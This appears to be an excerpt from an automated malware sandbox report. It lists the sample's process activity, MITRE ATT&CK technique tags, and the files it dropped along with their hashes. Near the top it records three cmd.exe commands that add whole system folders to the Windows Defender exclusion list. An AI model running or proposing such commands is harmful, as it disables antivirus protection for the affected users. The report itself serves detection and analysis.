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C:\Program Files (x86)\VlvH5M2\b7s2a.exe"C:\Program Files (x86)\VlvH5M2\b7s2a.exe"1⤵PID:1368
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:4332
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:3972
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:3276
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Program Files (x86)\3QBzlE\JEHwax.exe
- Size 145KB
- SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
- MD5 5251b98614acffe5c856f4039ca03da3
- SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
- SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
- SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
- TLSH T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\3QBzlE\XPSPLOG.dll
- Size 4.6MB
- SHA256 d6952310f9ff8efadc3399ea8c24d7fa9390646ee22c370656a464872791d4ff
- MD5 d759f9e03bb7c5234ea8f9ad08d73c0b
- SHA1 6ae45b163b95c962700cf80439900f3bdaec5e5d
- SHA512 8bc9dca93e9c7b5cb58bbeda9ded13da9208df859a28691c092c171f3b5f01ec48576a77a0a45dbc3664b5f77459b5f09bcc65ce8c0abd80ffc2d3cb659c546e
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmym:BMWKfU+BcUTHCCCfqCiUffnm
- TLSH T159263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\3QBzlE\image.png
- Size 5.0MB
- SHA256 9ad445711add73578c249a5add71dc2f7e5ec38de6037c2035a4c0e9e89927b3
- MD5 9673513654af543cfc31757a27dd3439
- SHA1 f1a046ca192905926ab6b84e5b6b5ce13b7e4abe
- SHA512 eadd93e8595eb46c17305447641f4b4a2163c142ab31251aacf94f9115f14845a740066fb698e0d7e63ea0539b3dace0f5d3949258311748f547fdf5019ebf52
- SSDEEP 98304:NqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:l/u21dGs2rOal3UpkiMT59IZVGhW
- TLSH T167363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\3QBzlE\thumbs.db
- Size 358KB
- SHA256 db097bbce29af3a2da7d758007491c1f6b97b01e77fcfc8393daa83fe50d6708
- MD5 f5439b89ddc3e53faf53a9afa937edfc
- SHA1 c5d2c58f73b2c3cc4ca26793e898064d77715778
- SHA512 45ff88f663d8524dbfec3385c5cc2c28abfdf036ade2c77b71751049a9ec554413c4af4f93516a85d38062b18b92a96947f271c853a37fbc010b643122b3f784
- SSDEEP 6144:JiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:o8u69CghoQxoMTFQqtKFCz7mb/
- TLSH T1EC74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\VlvH5M2\XPSPLOG.dll
- Size 4.6MB
- SHA256 3c01fee9da7ec1462998928d56192ed2be737d9d090e92bbc6f5f9861f91df60
- MD5 31334557ea016a7106f7cd77aadd4645
- SHA1 f099c5c2be8c5beac156deab33b4f229f52be1c7
- SHA512 05e475f68a962546ab93d36c101249d2a2908393710d0200d6fb43cf559a18fa83e33697a797335fad9424eb13fcb08a71abf316775694c8abfaf9ec132613ae
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyK:BMWKfU+BcUTHCCCfqCiUffnK
- TLSH T11D263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\VlvH5M2\image.png
- Size 5.0MB
- SHA256 bf254fb08a6a2bd6213ced79d1cebf9a70f57d22d207d039de251de88917f629
- MD5 a4ed790328919a5b4cc3da9302f254a8
- SHA1 273941b71c6aa0f1092410ad376048925b239781
- SHA512 5a74f69888ba3a977b2f89f4e28694a40ff21f193a6c31064cc6ecbf17c7ee17d0d9acafb604aa5592091b0287f0d921cc5a7c6aa866e587cfd21ef143a1d515
- SSDEEP 98304:nqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:n/u21dGs2rOal3UpkiMT59IZVGhW
- TLSH T161363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Music\destopbak.ini
- Size 2B
- SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
- MD5 7e74f75663e5b5a4f3452a4c603ee45d
- SHA1 d5114b086b721f2c87ea7152025792958ab4c629
- SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
- MD5 SHA1 SHA512
- Path C:\Users\Public\wOCtHU\4O4A8G.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\wOCtHU\UxEnhance64.dll
- Size 3.1MB
- SHA256 b64ed3c99a9bdd0d41e43efbbec26fde82d6c4c0388524ff5d2464bd13f961a7
- MD5 99598161e26d54a05a60a47d37911694
- SHA1 968d5170f46b848d1aeea3d3bf2addee7d9fb183
- SHA512 0234eae79fb8a6088a20a573f40c0286949d044123d567529945a71bd608ee57bb9c4cfb78c01b068b5a0e92449c91ab4150e3003a178289f00a669e335837d1
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+M:P9m29xx3Tiqt06ox6+z2rNNrKoM
- TLSH T152E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\wOCtHU\adoresd.dat
- Size 4.7MB
- SHA256 26106f1f0a5d3e667630d5bc33644e33a4bb34400ba1580695cff68c9c400f89
- MD5 1d610ad3033f831d9937df2807886dfb
- SHA1 dc7160c8c31919776d8bc6d6b158961c1379101b
- SHA512 b39a3219283962da42de2cdf7c9975123b729e3ba0f6ca127a8dda08dd87ac088c56f78b9c02f76d5177c73c9aead7df2820560e2d6d853ec94b6d1739c65267
- SSDEEP 98304:Hmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:Gu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1C83633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\wOCtHU\msadox.tb
- Size 8KB
- SHA256 8036d5b2af08e87e609f4283e151eab593ed021865246577c7b9d76c45989d92
- MD5 a1a0179cee3fb9a2aa82caa75c3ff56b
- SHA1 6f6c2ab7776d3fc3f5af08cbd17bb6893c9c0298
- SHA512 608bc18b06bd2b8948caa8a595c84767e9c3adceb7eaf6c862338d25d4559f4d71a5984f4d258c7ff5cfd8b49f4651927569ca77922f7d8e6f390ccab7e7aba3
- SSDEEP 192:lqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:lsZqZOXQ3uqvR2Kfzp
- TLSH T103029E05D7A20CC3D6016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DE2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\c:\xxxx.ini
- Size 2B
- SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
- MD5 81051bcc2cf1bedf378224b0a93e2877
- SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
- SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
- MD5 SHA1 SHA512